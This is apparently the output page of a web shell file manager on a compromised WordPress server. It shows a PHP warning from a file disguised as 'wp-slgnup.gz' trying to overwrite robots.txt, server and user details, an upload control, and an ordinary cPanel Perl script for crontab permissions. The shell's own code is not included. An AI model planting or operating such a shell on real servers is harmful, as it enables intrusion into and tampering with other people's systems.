Warning: file_put_contents(/home/allsupport/public_html/robots.txt): failed to open stream: Permission denied in /home/allsupport/public_html/wp-slgnup.gz on line 2
HEX
HEX
Server: Apache
System: Linux ws3.allsupport.co 5.14.0-687.24.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 9 18:14:06 EDT 2026 x86_64
User: allsupport (1013)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //scripts/ensure_crontab_permissions
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/ensure_crontab_permissions      Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

#

package scripts::ensure_crontab_permissions;

use strict;
use Cpanel::Cron::Utils ();

our $TIMEOUT = 300;

sub script {
    my ($self) = @_;

    alarm($TIMEOUT);

    #
    # run_crontab fixes invalid permissions on the crontab
    # binary in the event yum has updated crontab over
    # our jail_safe_crontab
    #
    Cpanel::Cron::Utils::run_crontab( "args" => ["-l"] );

    exit 0;
}

__PACKAGE__->script( \@ARGV ) unless caller;

__END__

=head1 NAME

ensure_crontab_permissions - Autofix permission on crontab

=head1 DESCRIPTION

This script checks the permission on the system crontab binary
provided by Cpanel::JailSafe::get_system_binary('crontab') and sets
them to the proper value for all supported operating systems.